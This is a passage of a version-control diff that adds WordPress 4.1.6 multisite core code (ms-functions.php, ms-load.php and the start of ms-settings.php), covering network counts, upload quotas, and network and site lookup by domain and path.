+		update_user_meta( $user_id, 'primary_blog', $blog_id );
+	}
+}
+
+/**
+ * Correct From host on outgoing mail to match the site domain
+ *
+ * @since MU
+ */
+function fix_phpmailer_messageid( $phpmailer ) {
+	$phpmailer->Hostname = get_current_site()->domain;
+}
+
+/**
+ * Check to see whether a user is marked as a spammer, based on user login.
+ *
+ * @since MU
+ *
+ * @param string|WP_User $user Optional. Defaults to current user. WP_User object,
+ * 	or user login name as a string.
+ * @return bool
+ */
+function is_user_spammy( $user = null ) {
+    if ( ! is_a( $user, 'WP_User' ) ) {
+		if ( $user )
+			$user = get_user_by( 'login', $user );
+		else
+			$user = wp_get_current_user();
+	}
+
+	return $user && isset( $user->spam ) && 1 == $user->spam;
+}
+
+/**
+ * Update this blog's 'public' setting in the global blogs table.
+ *
+ * Public blogs have a setting of 1, private blogs are 0.
+ *
+ * @since MU
+ *
+ * @param int $old_value
+ * @param int $value The new public value
+ */
+function update_blog_public( $old_value, $value ) {
+	update_blog_status( get_current_blog_id(), 'public', (int) $value );
+}
+add_action('update_option_blog_public', 'update_blog_public', 10, 2);
+
+/**
+ * Check whether a usermeta key has to do with the current blog.
+ *
+ * @since MU
+ *
+ * @param string $key
+ * @param int $user_id Optional. Defaults to current user.
+ * @param int $blog_id Optional. Defaults to current blog.
+ * @return bool
+ */
+function is_user_option_local( $key, $user_id = 0, $blog_id = 0 ) {
+	global $wpdb;
+
+	$current_user = wp_get_current_user();
+	if ( $blog_id == 0 ) {
+		$blog_id = $wpdb->blogid;
+	}
+	$local_key = $wpdb->get_blog_prefix( $blog_id ) . $key;
+
+	if ( isset( $current_user->$local_key ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Check whether users can self-register, based on Network settings.
+ *
+ * @since MU
+ *
+ * @return bool
+ */
+function users_can_register_signup_filter() {
+	$registration = get_site_option('registration');
+	if ( $registration == 'all' || $registration == 'user' )
+		return true;
+
+	return false;
+}
+add_filter('option_users_can_register', 'users_can_register_signup_filter');
+
+/**
+ * Ensure that the welcome message is not empty. Currently unused.
+ *
+ * @since MU
+ *
+ * @param string $text
+ * @return string
+ */
+function welcome_user_msg_filter( $text ) {
+	if ( !$text ) {
+		remove_filter( 'site_option_welcome_user_email', 'welcome_user_msg_filter' );
+		$text = __( 'Dear User,
+
+Your new account is set up.
+
+You can log in with the following information:
+Username: USERNAME
+Password: PASSWORD
+LOGINLINK
+
+Thanks!
+
+--The Team @ SITE_NAME' );
+		update_site_option( 'welcome_user_email', $text );
+	}
+	return $text;
+}
+add_filter( 'site_option_welcome_user_email', 'welcome_user_msg_filter' );
+
+/**
+ * Whether to force SSL on content.
+ *
+ * @since 2.8.5
+ *
+ * @param string|bool $force
+ * @return bool True if forced, false if not forced.
+ */
+function force_ssl_content( $force = '' ) {
+	static $forced_content;
+
+	if ( '' != $force ) {
+		$old_forced = $forced_content;
+		$forced_content = $force;
+		return $old_forced;
+	}
+
+	return $forced_content;
+}
+
+/**
+ * Formats a URL to use https.
+ *
+ * Useful as a filter.
+ *
+ * @since 2.8.5
+ *
+ * @param string URL
+ * @return string URL with https as the scheme
+ */
+function filter_SSL( $url ) {
+	if ( ! is_string( $url ) )
+		return get_bloginfo( 'url' ); // Return home blog url with proper scheme
+
+	if ( force_ssl_content() && is_ssl() )
+		$url = set_url_scheme( $url, 'https' );
+
+	return $url;
+}
+
+/**
+ * Schedule update of the network-wide counts for the current network.
+ *
+ * @since 3.1.0
+ */
+function wp_schedule_update_network_counts() {
+	if ( !is_main_site() )
+		return;
+
+	if ( !wp_next_scheduled('update_network_counts') && !defined('WP_INSTALLING') )
+		wp_schedule_event(time(), 'twicedaily', 'update_network_counts');
+}
+
+/**
+ *  Update the network-wide counts for the current network.
+ *
+ *  @since 3.1.0
+ */
+function wp_update_network_counts() {
+	wp_update_network_user_counts();
+	wp_update_network_site_counts();
+}
+
+/**
+ * Update the count of sites for the current network.
+ *
+ * If enabled through the 'enable_live_network_counts' filter, update the sites count
+ * on a network when a site is created or its status is updated.
+ *
+ * @since 3.7.0
+ */
+function wp_maybe_update_network_site_counts() {
+	$is_small_network = ! wp_is_large_network( 'sites' );
+
+	/**
+	 * Filter whether to update network site or user counts when a new site is created.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @see wp_is_large_network()
+	 *
+	 * @param bool   $small_network Whether the network is considered small.
+	 * @param string $context       Context. Either 'users' or 'sites'.
+	 */
+	if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'sites' ) )
+		return;
+
+	wp_update_network_site_counts();
+}
+
+/**
+ * Update the network-wide users count.
+ *
+ * If enabled through the 'enable_live_network_counts' filter, update the users count
+ * on a network when a user is created or its status is updated.
+ *
+ * @since 3.7.0
+ */
+function wp_maybe_update_network_user_counts() {
+	$is_small_network = ! wp_is_large_network( 'users' );
+
+	/** This filter is documented in wp-includes/ms-functions.php */
+	if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'users' ) )
+		return;
+
+	wp_update_network_user_counts();
+}
+
+/**
+ * Update the network-wide site count.
+ *
+ * @since 3.7.0
+ */
+function wp_update_network_site_counts() {
+	global $wpdb;
+
+	$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(blog_id) as c FROM $wpdb->blogs WHERE site_id = %d AND spam = '0' AND deleted = '0' and archived = '0'", $wpdb->siteid) );
+	update_site_option( 'blog_count', $count );
+}
+
+/**
+ * Update the network-wide user count.
+ *
+ * @since 3.7.0
+ */
+function wp_update_network_user_counts() {
+	global $wpdb;
+
+	$count = $wpdb->get_var( "SELECT COUNT(ID) as c FROM $wpdb->users WHERE spam = '0' AND deleted = '0'" );
+	update_site_option( 'user_count', $count );
+}
+
+/**
+ * Returns the space used by the current blog.
+ *
+ * @since 3.5.0
+ *
+ * @return int Used space in megabytes
+ */
+function get_space_used() {
+	/**
+	 * Filter the amount of storage space used by the current site.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int|bool $space_used The amount of used space, in megabytes. Default false.
+	 */
+	$space_used = apply_filters( 'pre_get_space_used', false );
+	if ( false === $space_used ) {
+		$upload_dir = wp_upload_dir();
+		$space_used = get_dirsize( $upload_dir['basedir'] ) / 1024 / 1024;
+	}
+
+	return $space_used;
+}
+
+/**
+ * Returns the upload quota for the current blog.
+ *
+ * @since MU
+ *
+ * @return int Quota in megabytes
+ */
+function get_space_allowed() {
+	$space_allowed = get_option( 'blog_upload_space' );
+
+	if ( ! is_numeric( $space_allowed ) )
+		$space_allowed = get_site_option( 'blog_upload_space' );
+
+	if ( empty( $space_allowed ) || ! is_numeric( $space_allowed ) )
+		$space_allowed = 100;
+
+	/**
+	 * Filter the upload quota for the current site.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param int $space_allowed Upload quota in megabytes for the current blog.
+	 */
+	return apply_filters( 'get_space_allowed', $space_allowed );
+}
+
+/**
+ * Determines if there is any upload space left in the current blog's quota.
+ *
+ * @since 3.0.0
+ *
+ * @return int of upload space available in bytes
+ */
+function get_upload_space_available() {
+	$space_allowed = get_space_allowed() * 1024 * 1024;
+	if ( get_site_option( 'upload_space_check_disabled' ) )
+		return $space_allowed;
+
+	$space_used = get_space_used() * 1024 * 1024;
+
+	if ( ( $space_allowed - $space_used ) <= 0 )
+		return 0;
+
+	return $space_allowed - $space_used;
+}
+
+/**
+ * Determines if there is any upload space left in the current blog's quota.
+ *
+ * @since 3.0.0
+ * @return bool True if space is available, false otherwise.
+ */
+function is_upload_space_available() {
+	if ( get_site_option( 'upload_space_check_disabled' ) )
+		return true;
+
+	return (bool) get_upload_space_available();
+}
+
+/**
+ * @since 3.0.0
+ *
+ * @return int of upload size limit in bytes
+ */
+function upload_size_limit_filter( $size ) {
+	$fileupload_maxk = 1024 * get_site_option( 'fileupload_maxk', 1500 );
+	if ( get_site_option( 'upload_space_check_disabled' ) )
+		return min( $size, $fileupload_maxk );
+
+	return min( $size, $fileupload_maxk, get_upload_space_available() );
+}
+
+/**
+ * Whether or not we have a large network.
+ *
+ * The default criteria for a large network is either more than 10,000 users or more than 10,000 sites.
+ * Plugins can alter this criteria using the 'wp_is_large_network' filter.
+ *
+ * @since 3.3.0
+ * @param string $using 'sites or 'users'. Default is 'sites'.
+ * @return bool True if the network meets the criteria for large. False otherwise.
+ */
+function wp_is_large_network( $using = 'sites' ) {
+	if ( 'users' == $using ) {
+		$count = get_user_count();
+		/**
+		 * Filter whether the network is considered large.
+		 *
+		 * @since 3.3.0
+		 *
+		 * @param bool   $is_large_network Whether the network has more than 10000 users or sites.
+		 * @param string $component        The component to count. Accepts 'users', or 'sites'.
+		 * @param int    $count            The count of items for the component.
+		 */
+		return apply_filters( 'wp_is_large_network', $count > 10000, 'users', $count );
+	}
+
+	$count = get_blog_count();
+	/** This filter is documented in wp-includes/ms-functions.php */
+	return apply_filters( 'wp_is_large_network', $count > 10000, 'sites', $count );
+}
+
+
+/**
+ * Return an array of sites for a network or networks.
+ *
+ * @since 3.7.0
+ *
+ * @param array $args {
+ *     Array of default arguments. Optional.
+ *
+ *     @type int|array $network_id A network ID or array of network IDs. Set to null to retrieve sites
+ *                                 from all networks. Defaults to current network ID.
+ *     @type int       $public     Retrieve public or non-public sites. Default null, for any.
+ *     @type int       $archived   Retrieve archived or non-archived sites. Default null, for any.
+ *     @type int       $mature     Retrieve mature or non-mature sites. Default null, for any.
+ *     @type int       $spam       Retrieve spam or non-spam sites. Default null, for any.
+ *     @type int       $deleted    Retrieve deleted or non-deleted sites. Default null, for any.
+ *     @type int       $limit      Number of sites to limit the query to. Default 100.
+ *     @type int       $offset     Exclude the first x sites. Used in combination with the $limit parameter. Default 0.
+ * }
+ * @return array An empty array if the install is considered "large" via wp_is_large_network(). Otherwise,
+ *               an associative array of site data arrays, each containing the site (network) ID, blog ID,
+ *               site domain and path, dates registered and modified, and the language ID. Also, boolean
+ *               values for whether the site is public, archived, mature, spam, and/or deleted.
+ */
+function wp_get_sites( $args = array() ) {
+	global $wpdb;
+
+	if ( wp_is_large_network() )
+		return array();
+
+	$defaults = array(
+		'network_id' => $wpdb->siteid,
+		'public'     => null,
+		'archived'   => null,
+		'mature'     => null,
+		'spam'       => null,
+		'deleted'    => null,
+		'limit'      => 100,
+		'offset'     => 0,
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	$query = "SELECT * FROM $wpdb->blogs WHERE 1=1 ";
+
+	if ( isset( $args['network_id'] ) && ( is_array( $args['network_id'] ) || is_numeric( $args['network_id'] ) ) ) {
+		$network_ids = implode( ',', wp_parse_id_list( $args['network_id'] ) );
+		$query .= "AND site_id IN ($network_ids) ";
+	}
+
+	if ( isset( $args['public'] ) )
+		$query .= $wpdb->prepare( "AND public = %d ", $args['public'] );
+
+	if ( isset( $args['archived'] ) )
+		$query .= $wpdb->prepare( "AND archived = %d ", $args['archived'] );
+
+	if ( isset( $args['mature'] ) )
+		$query .= $wpdb->prepare( "AND mature = %d ", $args['mature'] );
+
+	if ( isset( $args['spam'] ) )
+		$query .= $wpdb->prepare( "AND spam = %d ", $args['spam'] );
+
+	if ( isset( $args['deleted'] ) )
+		$query .= $wpdb->prepare( "AND deleted = %d ", $args['deleted'] );
+
+	if ( isset( $args['limit'] ) && $args['limit'] ) {
+		if ( isset( $args['offset'] ) && $args['offset'] )
+			$query .= $wpdb->prepare( "LIMIT %d , %d ", $args['offset'], $args['limit'] );
+		else
+			$query .= $wpdb->prepare( "LIMIT %d ", $args['limit'] );
+	}
+
+	$site_results = $wpdb->get_results( $query, ARRAY_A );
+
+	return $site_results;
+}
Index: /tags/4.1.6/src/wp-includes/ms-load.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ms-load.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ms-load.php	(revision 33402)
@@ -0,0 +1,458 @@
+<?php
+/**
+ * These functions are needed to load Multisite.
+ *
+ * @since 3.0.0
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ */
+
+/**
+ * Whether a subdomain configuration is enabled.
+ *
+ * @since 3.0.0
+ *
+ * @return bool True if subdomain configuration is enabled, false otherwise.
+ */
+function is_subdomain_install() {
+	if ( defined('SUBDOMAIN_INSTALL') )
+		return SUBDOMAIN_INSTALL;
+
+	if ( defined('VHOST') && VHOST == 'yes' )
+		return true;
+
+	return false;
+}
+
+/**
+ * Returns array of network plugin files to be included in global scope.
+ *
+ * The default directory is wp-content/plugins. To change the default directory
+ * manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL` in `wp-config.php`.
+ *
+ * @access private
+ * @since 3.1.0
+ *
+ * @return array Files to include.
+ */
+function wp_get_active_network_plugins() {
+	$active_plugins = (array) get_site_option( 'active_sitewide_plugins', array() );
+	if ( empty( $active_plugins ) )
+		return array();
+
+	$plugins = array();
+	$active_plugins = array_keys( $active_plugins );
+	sort( $active_plugins );
+
+	foreach ( $active_plugins as $plugin ) {
+		if ( ! validate_file( $plugin ) // $plugin must validate as file
+			&& '.php' == substr( $plugin, -4 ) // $plugin must end with '.php'
+			&& file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist
+			)
+		$plugins[] = WP_PLUGIN_DIR . '/' . $plugin;
+	}
+	return $plugins;
+}
+
+/**
+ * Checks status of current blog.
+ *
+ * Checks if the blog is deleted, inactive, archived, or spammed.
+ *
+ * Dies with a default message if the blog does not pass the check.
+ *
+ * To change the default message when a blog does not pass the check,
+ * use the wp-content/blog-deleted.php, blog-inactive.php and
+ * blog-suspended.php drop-ins.
+ *
+ * @since 3.0.0
+ *
+ * @return bool|string Returns true on success, or drop-in file to include.
+ */
+function ms_site_check() {
+	$blog = get_blog_details();
+
+	/**
+	 * Filter checking the status of the current blog.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool null Whether to skip the blog status check. Default null.
+	*/
+	$check = apply_filters( 'ms_site_check', null );
+	if ( null !== $check )
+		return true;
+
+	// Allow super admins to see blocked sites
+	if ( is_super_admin() )
+		return true;
+
+	if ( '1' == $blog->deleted ) {
+		if ( file_exists( WP_CONTENT_DIR . '/blog-deleted.php' ) )
+			return WP_CONTENT_DIR . '/blog-deleted.php';
+		else
+			wp_die( __( 'This site is no longer available.' ), '', array( 'response' => 410 ) );
+	}
+
+	if ( '2' == $blog->deleted ) {
+		if ( file_exists( WP_CONTENT_DIR . '/blog-inactive.php' ) )
+			return WP_CONTENT_DIR . '/blog-inactive.php';
+		else
+			wp_die( sprintf( __( 'This site has not been activated yet. If you are having problems activating your site, please contact <a href="mailto:%1$s">%1$s</a>.' ), str_replace( '@', ' AT ', get_site_option( 'admin_email', 'support@' . get_current_site()->domain ) ) ) );
+	}
+
+	if ( $blog->archived == '1' || $blog->spam == '1' ) {
+		if ( file_exists( WP_CONTENT_DIR . '/blog-suspended.php' ) )
+			return WP_CONTENT_DIR . '/blog-suspended.php';
+		else
+			wp_die( __( 'This site has been archived or suspended.' ), '', array( 'response' => 410 ) );
+	}
+
+	return true;
+}
+
+/**
+ * Retrieve a network object by its domain and path.
+ *
+ * @since 3.9.0
+ *
+ * @param string   $domain   Domain to check.
+ * @param string   $path     Path to check.
+ * @param int|null $segments Path segments to use. Defaults to null, or the full path.
+ * @return object|bool Network object if successful. False when no network is found.
+ */
+function get_network_by_path( $domain, $path, $segments = null ) {
+	global $wpdb;
+
+	$domains = array( $domain );
+	$pieces = explode( '.', $domain );
+
+	/*
+	 * It's possible one domain to search is 'com', but it might as well
+	 * be 'localhost' or some other locally mapped domain.
+	 */
+	while ( array_shift( $pieces ) ) {
+		if ( $pieces ) {
+			$domains[] = implode( '.', $pieces );
+		}
+	}
+
+	/*
+	 * If we've gotten to this function during normal execution, there is
+	 * more than one network installed. At this point, who knows how many
+	 * we have. Attempt to optimize for the situation where networks are
+	 * only domains, thus meaning paths never need to be considered.
+	 *
+	 * This is a very basic optimization; anything further could have drawbacks
+	 * depending on the setup, so this is best done per-install.
+	 */
+	$using_paths = true;
+	if ( wp_using_ext_object_cache() ) {
+		$using_paths = wp_cache_get( 'networks_have_paths', 'site-options' );
+		if ( false === $using_paths ) {
+			$using_paths = (bool) $wpdb->get_var( "SELECT id FROM $wpdb->site WHERE path <> '/' LIMIT 1" );
+			wp_cache_add( 'networks_have_paths', (int) $using_paths, 'site-options'  );
+		}
+	}
+
+	$paths = array();
+	if ( $using_paths ) {
+		$path_segments = array_filter( explode( '/', trim( $path, "/" ) ) );
+
+		/**
+		 * Filter the number of path segments to consider when searching for a site.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param int|null $segments The number of path segments to consider. WordPress by default looks at
+		 *                           one path segment. The function default of null only makes sense when you
+		 *                           know the requested path should match a network.
+		 * @param string   $domain   The requested domain.
+		 * @param string   $path     The requested path, in full.
+		 */
+		$segments = apply_filters( 'network_by_path_segments_count', $segments, $domain, $path );
+
+		if ( null !== $segments && count($path_segments ) > $segments ) {
+			$path_segments = array_slice( $path_segments, 0, $segments );
+		}
+
+		while ( count( $path_segments ) ) {
+			$paths[] = '/' . implode( '/', $path_segments ) . '/';
+			array_pop( $path_segments );
+		}
+
+		$paths[] = '/';
+	}
+
+	/**
+	 * Determine a network by its domain and path.
+	 *
+	 * This allows one to short-circuit the default logic, perhaps by
+	 * replacing it with a routine that is more optimal for your setup.
+	 *
+	 * Return null to avoid the short-circuit. Return false if no network
+	 * can be found at the requested domain and path. Otherwise, return
+	 * an object from wp_get_network().
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param null|bool|object $network  Network value to return by path.
+	 * @param string           $domain   The requested domain.
+	 * @param string           $path     The requested path, in full.
+	 * @param int|null         $segments The suggested number of paths to consult.
+	 *                                   Default null, meaning the entire path was to be consulted.
+	 * @param array            $paths    The paths to search for, based on $path and $segments.
+	 */
+	$pre = apply_filters( 'pre_get_network_by_path', null, $domain, $path, $segments, $paths );
+	if ( null !== $pre ) {
+		return $pre;
+	}
+
+	// @todo Consider additional optimization routes, perhaps as an opt-in for plugins.
+	// We already have paths covered. What about how far domains should be drilled down (including www)?
+
+	$search_domains = "'" . implode( "', '", $wpdb->_escape( $domains ) ) . "'";
+
+	if ( ! $using_paths ) {
+		$network = $wpdb->get_row( "SELECT id, domain, path FROM $wpdb->site
+			WHERE domain IN ($search_domains) ORDER BY CHAR_LENGTH(domain) DESC LIMIT 1" );
+		if ( $network ) {
+			return wp_get_network( $network );
+		}
+		return false;
+
+	} else {
+		$search_paths = "'" . implode( "', '", $wpdb->_escape( $paths ) ) . "'";
+		$networks = $wpdb->get_results( "SELECT id, domain, path FROM $wpdb->site
+			WHERE domain IN ($search_domains) AND path IN ($search_paths)
+			ORDER BY CHAR_LENGTH(domain) DESC, CHAR_LENGTH(path) DESC" );
+	}
+
+	/*
+	 * Domains are sorted by length of domain, then by length of path.
+	 * The domain must match for the path to be considered. Otherwise,
+	 * a network with the path of / will suffice.
+	 */
+	$found = false;
+	foreach ( $networks as $network ) {
+		if ( $network->domain === $domain || "www.$network->domain" === $domain ) {
+			if ( in_array( $network->path, $paths, true ) ) {
+				$found = true;
+				break;
+			}
+		}
+		if ( $network->path === '/' ) {
+			$found = true;
+			break;
+		}
+	}
+
+	if ( $found ) {
+		return wp_get_network( $network );
+	}
+
+	return false;
+}
+
+/**
+ * Retrieve an object containing information about the requested network.
+ *
+ * @since 3.9.0
+ *
+ * @param object|int $network The network's database row or ID.
+ * @return object|bool Object containing network information if found, false if not.
+ */
+function wp_get_network( $network ) {
+	global $wpdb;
+
+	if ( ! is_object( $network ) ) {
+		$network = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->site WHERE id = %d", $network ) );
+		if ( ! $network ) {
+			return false;
+		}
+	}
+
+	return $network;
+}
+
+/**
+ * Retrieve a site object by its domain and path.
+ *
+ * @since 3.9.0
+ *
+ * @param string   $domain   Domain to check.
+ * @param string   $path     Path to check.
+ * @param int|null $segments Path segments to use. Defaults to null, or the full path.
+ * @return object|bool Site object if successful. False when no site is found.
+ */
+function get_site_by_path( $domain, $path, $segments = null ) {
+	global $wpdb;
+
+	$path_segments = array_filter( explode( '/', trim( $path, '/' ) ) );
+
+	/**
+	 * Filter the number of path segments to consider when searching for a site.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param int|null $segments The number of path segments to consider. WordPress by default looks at
+	 *                           one path segment following the network path. The function default of
+	 *                           null only makes sense when you know the requested path should match a site.
+	 * @param string   $domain   The requested domain.
+	 * @param string   $path     The requested path, in full.
+	 */
+	$segments = apply_filters( 'site_by_path_segments_count', $segments, $domain, $path );
+
+	if ( null !== $segments && count( $path_segments ) > $segments ) {
+		$path_segments = array_slice( $path_segments, 0, $segments );
+	}
+
+	while ( count( $path_segments ) ) {
+		$paths[] = '/' . implode( '/', $path_segments ) . '/';
+		array_pop( $path_segments );
+	}
+
+	$paths[] = '/';
+
+	/**
+	 * Determine a site by its domain and path.
+	 *
+	 * This allows one to short-circuit the default logic, perhaps by
+	 * replacing it with a routine that is more optimal for your setup.
+	 *
+	 * Return null to avoid the short-circuit. Return false if no site
+	 * can be found at the requested domain and path. Otherwise, return
+	 * a site object.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param null|bool|object $site     Site value to return by path.
+	 * @param string           $domain   The requested domain.
+	 * @param string           $path     The requested path, in full.
+	 * @param int|null         $segments The suggested number of paths to consult.
+	 *                                   Default null, meaning the entire path was to be consulted.
+	 * @param array            $paths    The paths to search for, based on $path and $segments.
+	 */
+	$pre = apply_filters( 'pre_get_site_by_path', null, $domain, $path, $segments, $paths );
+	if ( null !== $pre ) {
+		return $pre;
+	}
+
+	/*
+	 * @todo
+	 * get_blog_details(), caching, etc. Consider alternative optimization routes,
+	 * perhaps as an opt-in for plugins, rather than using the pre_* filter.
+	 * For example: The segments filter can expand or ignore paths.
+	 * If persistent caching is enabled, we could query the DB for a path <> '/'
+	 * then cache whether we can just always ignore paths.
+	 */
+
+	// Either www or non-www is supported, not both. If a www domain is requested,
+	// query for both to provide the proper redirect.
+	$domains = array( $domain );
+	if ( 'www.' === substr( $domain, 0, 4 ) ) {
+		$domains[] = substr( $domain, 4 );
+		$search_domains = "'" . implode( "', '", $wpdb->_escape( $domains ) ) . "'";
+	}
+
+	if ( count( $paths ) > 1 ) {
+		$search_paths = "'" . implode( "', '", $wpdb->_escape( $paths ) ) . "'";
+	}
+
+	if ( count( $domains ) > 1 && count( $paths ) > 1 ) {
+		$site = $wpdb->get_row( "SELECT * FROM $wpdb->blogs WHERE domain IN ($search_domains) AND path IN ($search_paths) ORDER BY CHAR_LENGTH(domain) DESC, CHAR_LENGTH(path) DESC LIMIT 1" );
+	} elseif ( count( $domains ) > 1 ) {
+		$sql = $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE path = %s", $paths[0] );
+		$sql .= " AND domain IN ($search_domains) ORDER BY CHAR_LENGTH(domain) DESC LIMIT 1";
+		$site = $wpdb->get_row( $sql );
+	} elseif ( count( $paths ) > 1 ) {
+		$sql = $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s", $domains[0] );
+		$sql .= " AND path IN ($search_paths) ORDER BY CHAR_LENGTH(path) DESC LIMIT 1";
+		$site = $wpdb->get_row( $sql );
+	} else {
+		$site = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s AND path = %s", $domains[0], $paths[0] ) );
+	}
+
+	if ( $site ) {
+		// @todo get_blog_details()
+		return $site;
+	}
+
+	return false;
+}
+
+/**
+ * Displays a failure message.
+ *
+ * Used when a blog's tables do not exist. Checks for a missing $wpdb->site table as well.
+ *
+ * @access private
+ * @since 3.0.0
+ */
+function ms_not_installed() {
+	global $wpdb, $domain, $path;
+
+	wp_load_translations_early();
+
+	$title = __( 'Error establishing a database connection' );
+	$msg  = '<h1>' . $title . '</h1>';
+	if ( ! is_admin() ) {
+		die( $msg );
+	}
+	$msg .= '<p>' . __( 'If your site does not display, please contact the owner of this network.' ) . '';
+	$msg .= ' ' . __( 'If you are the owner of this network please check that MySQL is running properly and all tables are error free.' ) . '</p>';
+	$query = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $wpdb->site ) );
+	if ( ! $wpdb->get_var( $query ) ) {
+		$msg .= '<p>' . sprintf( __( '<strong>Database tables are missing.</strong> This means that MySQL is not running, WordPress was not installed properly, or someone deleted <code>%s</code>. You really should look at your database now.' ), $wpdb->site ) . '</p>';
+	} else {
+		$msg .= '<p>' . sprintf( __( '<strong>Could not find site <code>%1$s</code>.</strong> Searched for table <code>%2$s</code> in database <code>%3$s</code>. Is that right?' ), rtrim( $domain . $path, '/' ), $wpdb->blogs, DB_NAME ) . '</p>';
+	}
+	$msg .= '<p><strong>' . __( 'What do I do now?' ) . '</strong> ';
+	$msg .= __( 'Read the <a target="_blank" href="http://codex.wordpress.org/Debugging_a_WordPress_Network">bug report</a> page. Some of the guidelines there may help you figure out what went wrong.' );
+	$msg .= ' ' . __( 'If you&#8217;re still stuck with this message, then check that your database contains the following tables:' ) . '</p><ul>';
+	foreach ( $wpdb->tables('global') as $t => $table ) {
+		if ( 'sitecategories' == $t )
+			continue;
+		$msg .= '<li>' . $table . '</li>';
+	}
+	$msg .= '</ul>';
+
+	wp_die( $msg, $title );
+}
+
+/**
+ * This deprecated function formerly set the site_name property of the $current_site object.
+ *
+ * This function simply returns the object, as before.
+ * The bootstrap takes care of setting site_name.
+ *
+ * @access private
+ * @since 3.0.0
+ * @deprecated 3.9.0 Use get_current_site() instead.
+ *
+ * @param object $current_site
+ * @return object
+ */
+function get_current_site_name( $current_site ) {
+	_deprecated_function( __FUNCTION__, '3.9', 'get_current_site()' );
+	return $current_site;
+}
+
+/**
+ * This deprecated function managed much of the site and network loading in multisite.
+ *
+ * The current bootstrap code is now responsible for parsing the site and network load as
+ * well as setting the global $current_site object.
+ *
+ * @access private
+ * @since 3.0.0
+ * @deprecated 3.9.0
+ *
+ * @return object
+ */
+function wpmu_current_site() {
+	global $current_site;
+	_deprecated_function( __FUNCTION__, '3.9' );
+	return $current_site;
+}
Index: /tags/4.1.6/src/wp-includes/ms-settings.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ms-settings.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ms-settings.php	(revision 33402)
@@ -0,0 +1,213 @@
+<?php
+/**
+ * Used to set up and fix common variables and include
+ * the Multisite procedural and class library.
+ *
+ * Allows for some configuration in wp-config.php (see ms-default-constants.php)
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Include Multisite initialization functions */
+require_once( ABSPATH . WPINC . '/ms-load.php' );
+require_once( ABSPATH . WPINC . '/ms-default-constants.php' );
+
+if ( defined( 'SUNRISE' ) ) {
+	include_once( WP_CONTENT_DIR . '/sunrise.php' );
+}
+
+/** Check for and define SUBDOMAIN_INSTALL and the deprecated VHOST constant. */
+ms_subdomain_constants();
+
+if ( !isset( $current_site ) || !isset( $current_blog ) ) {
+
+	// Given the domain and path, let's try to identify the network and site.
+	// Usually, it's easier to query the site first, which declares its network.
+	// In limited situations, though, we either can or must find the network first.
+
+	$domain = strtolower( stripslashes( $_SERVER['HTTP_HOST'] ) );
+	if ( substr( $domain, -3 ) == ':80' ) {
+		$domain = substr( $domain, 0, -3 );
+		$_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -3 );
+	} elseif ( substr( $domain, -4 ) == ':443' ) {
+		$domain = substr( $domain, 0, -4 );
+		$_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -4 );
+	}
+
+	$path = stripslashes( $_SERVER['REQUEST_URI'] );
+	if ( is_admin() ) {
+		$path = preg_replace( '#(.*)/wp-admin/.*#', '$1/', $path );
+	}
+	list( $path ) = explode( '?', $path );
+
+	// If the network is defined in wp-config.php, we can simply use that.
+	if ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' ) ) {
+		$current_site = new stdClass;
+		$current_site->id = defined( 'SITE_ID_CURRENT_SITE' ) ? SITE_ID_CURRENT_SITE : 1;
+		$current_site->domain = DOMAIN_CURRENT_SITE;
+		$current_site->path = PATH_CURRENT_SITE;
+		if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) {
+			$current_site->blog_id = BLOG_ID_CURRENT_SITE;
+		} elseif ( defined( 'BLOGID_CURRENT_SITE' ) ) { // deprecated.
+			$current_site->blog_id = BLOGID_CURRENT_SITE;
+		}
+
+		if ( 0 === strcasecmp( $current_site->domain, $domain ) && 0 === strcasecmp( $current_site->path, $path ) ) {
+			$current_blog = get_site_by_path( $domain, $path );
+		} elseif ( '/' !== $current_site->path && 0 === strcasecmp( $current_site->domain, $domain ) && 0 === stripos( $path, $current_site->path ) ) {
+			// If the current network has a path and also matches the domain and path of the request,
+			// we need to look for a site using the first path segment following the network's path.
+			$current_blog = get_site_by_path( $domain, $path, 1 + count( explode( '/', trim( $current_site->path, '/' ) ) ) );
+		} else {
+			// Otherwise, use the first path segment (as usual).
+			$current_blog = get_site_by_path( $domain, $path, 1 );
+		}
+
+	} elseif ( ! is_subdomain_install() ) {
+		/*
+		 * A "subdomain" install can be re-interpreted to mean "can support any domain".
+		 * If we're not dealing with one of these installs, then the important part is determining
+		 * the network first, because we need the network's path to identify any sites.
+		 */
+		if ( ! $current_site = wp_cache_get( 'current_network', 'site-options' ) ) {
+			// Are there even two networks installed?
+			$one_network = $wpdb->get_row( "SELECT * FROM $wpdb->site LIMIT 2" ); // [sic]
+			if ( 1 === $wpdb->num_rows ) {
+				$current_site = wp_get_network( $one_network );
+				wp_cache_add( 'current_network', $current_site, 'site-options' );
+			} elseif ( 0 === $wpdb->num_rows ) {
+				ms_not_installed();
+			}
+		}
+		if ( empty( $current_site ) ) {
